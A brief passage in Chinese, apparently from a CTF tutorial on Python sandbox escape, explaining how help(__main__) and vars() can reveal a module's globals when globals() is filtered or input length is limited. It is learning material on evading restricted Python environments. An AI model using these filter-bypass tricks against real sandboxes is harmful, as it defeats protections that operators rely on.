    exit(0)
else:
    print("not found the choice")
    exit(0)

help 函数

help 函数也可以获取某个模块的帮助信息,包括全局变量, 输入 __main__ 之后可以获取当前模块的信息。

help> __main__

相比 globals() 而言 help() 更短,在一些限制长度的题目中有利用过这个点。

vars 函数

vars() 函数返回该对象的命名空间(namespace)中的所有属性以字典的形式表示。当前模块的所有变量也会包含在里面,一些过滤链 globals 和 help 函数的场景可以尝试使用 vars()

参考资料